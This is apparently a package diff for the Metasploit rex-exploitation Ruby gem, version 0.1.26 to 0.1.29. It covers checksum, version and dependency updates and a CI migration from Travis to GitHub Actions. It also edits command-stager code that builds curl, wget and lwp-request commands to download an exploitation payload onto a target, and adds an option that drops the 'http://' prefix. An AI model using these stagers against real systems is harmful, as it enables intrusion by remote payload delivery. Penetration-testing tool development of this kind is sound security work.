rex-exploitation 0.1.26 → 0.1.29

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: fc43151628d84ae0204908770c68ebed8c01f8c23ab0e255546c36e0bb8864c8
-  data.tar.gz: 9ba74b12d52d475331d7257f401d9c98dfc94d61c2ec52ceeeddf2547584b8d1
+  metadata.gz: e69e2bed1ac177b2484539a5a0230a220022f71076033698346c7c83fe1c2128
+  data.tar.gz: 73d249b1347e340fb3517d21f61b6936310ab5c761bdc4fa65cfcd1ea9a50bcd
 SHA512:
-  metadata.gz: 5610c2e42e965d02bec93bb275a3588a0154e0a32ac449c795844e8f932205d0d380755fc57fa3899d42651de37c2d0ac2e58fa6d2c5dbaf2e04ec9548f47729
-  data.tar.gz: f94e9dce3166f01cac4417483130baf9852782fd2b1974e8ec3c27f8c45d4a5f030eff851b57efe9c7bf73ef367829fb1eac9d8c03c5dc44ed09c4acd385595d
+  metadata.gz: c3c25edfd7431681b7b94bb8bef1d66b237c9e62354476c3aed8debc771efc816ab27f24e5c12ba4ac2d13f87ab1f7a52ec99c5f737bb30e970fdbf97ace0e33
+  data.tar.gz: 80291e0d18a9c84033a04b13d0d1cd512ffe039ae12fac397abbe2bfdf4a961ed16b347107e0d20939322e0808c62887d344be07efacd5de08d49a59129cbd99

data/.github/workflows/verify.yml

@@ -0,0 +1,45 @@
+name: Verify
+
+on:
+  push:
+    branches:
+      - '*'
+  pull_request:
+    branches:
+      - '*'
+
+jobs:
+  test:
+    runs-on: ubuntu-18.04
+    timeout-minutes: 40
+
+    strategy:
+      fail-fast: true
+      matrix:
+        ruby:
+          - 2.6
+          - 2.7
+          - 3.0
+        test_cmd:
+          - bundle exec rspec
+
+    env:
+      RAILS_ENV: test
+
+    name: Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v2
+
+      - name: Setup Ruby
+        uses: ruby/setup-ruby@v1
+        with:
+          ruby-version: ${{ matrix.ruby }}
+          bundler-cache: true
+
+      - name: ${{ matrix.test_cmd }}
+        run: |
+          echo "${CMD}"
+          bash -c "${CMD}"
+        env:
+          CMD: ${{ matrix.test_cmd }}

data/lib/rex/exploitation/cmdstager/curl.rb

@@ -24,11 +24,13 @@ class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase
 
   def generate_cmds_payload(opts)
     cmds = []
+    uri = opts[:payload_uri]
 
     if opts[:ssl]
-      cmds << "curl -kso #{@payload_path} #{opts[:payload_uri]}"
+      cmds << "curl -kso #{@payload_path} #{uri}"
     else
-      cmds << "curl -so #{@payload_path} #{opts[:payload_uri]}"
+      uri = uri.gsub(%r{^http://}, '') if opts[:no_proto]
+      cmds << "curl -so #{@payload_path} #{uri}"
     end
 
     cmds

data/lib/rex/exploitation/cmdstager/lwprequest.rb

@@ -23,7 +23,11 @@ class Rex::Exploitation::CmdStagerLwpRequest < Rex::Exploitation::CmdStagerBase
   end
 
   def generate_cmds_payload(opts)
-    ["lwp-request -m GET #{opts[:payload_uri]} > #{@payload_path}"]
+    uri = opts[:payload_uri]
+    unless opts[:ssl]
+      uri = uri.gsub(%r{^http://}, '') if opts[:no_proto]
+    end
+    ["lwp-request -m GET #{uri} > #{@payload_path}"]
   end
 
   def generate_cmds_decoder(opts)

data/lib/rex/exploitation/cmdstager/wget.rb

@@ -24,12 +24,15 @@ class Rex::Exploitation::CmdStagerWget < Rex::Exploitation::CmdStagerBase
 
   def generate_cmds_payload(opts)
     cmds = []
+
+    uri = opts[:payload_uri]
     ncc  = '--no-check-certificate'
 
     if opts[:ssl]
-      cmds << "wget -qO #{@payload_path} #{ncc} #{opts[:payload_uri]}"
+      cmds << "wget -qO #{@payload_path} #{ncc} #{uri}"
     else
-      cmds << "wget -qO #{@payload_path} #{opts[:payload_uri]}"
+      uri = uri.gsub(%r{^http://}, '') if opts[:no_proto]
+      cmds << "wget -qO #{@payload_path} #{uri}"
     end
 
     cmds

data/lib/rex/exploitation/version.rb

@@ -1,5 +1,5 @@
 module Rex
   module Exploitation
-    VERSION = "0.1.26"
+    VERSION = "0.1.29"
   end
 end

data/rex-exploitation.gemspec

@@ -27,6 +27,7 @@ Gem::Specification.new do |spec|
   spec.add_development_dependency "rake"
   spec.add_development_dependency "rspec"
 
+  spec.add_runtime_dependency 'rexml'
   spec.add_runtime_dependency 'rex-text'
   spec.add_runtime_dependency 'rex-arch'
   spec.add_runtime_dependency 'rex-encoder'

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: rex-exploitation
 version: !ruby/object:Gem::Version
-  version: 0.1.26
+  version: 0.1.29
 platform: ruby
 authors:
 - Metasploit Hackers
@@ -93,7 +93,7 @@ cert_chain:
   EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
   9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
   -----END CERTIFICATE-----
-date: 2021-01-08 00:00:00.000000000 Z
+date: 2022-03-07 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: rake
@@ -123,6 +123,20 @@ dependencies:
     - - ">="
       - !ruby/object:Gem::Version
         version: '0'
+- !ruby/object:Gem::Dependency
+  name: rexml
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
+  type: :runtime
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
 - !ruby/object:Gem::Dependency
   name: rex-text
   requirement: !ruby/object:Gem::Requirement
@@ -202,9 +216,9 @@ executables: []
 extensions: []
 extra_rdoc_files: []
 files:
+- ".github/workflows/verify.yml"
 - ".gitignore"
 - ".rspec"
-- ".travis.yml"
 - CODE_OF_CONDUCT.md
 - Gemfile
 - LICENSE

data/.travis.yml

@@ -1,6 +0,0 @@
-sudo: false
-group: stable
-cache: bundler
-language: ruby
-rvm:
-  - 2.7.2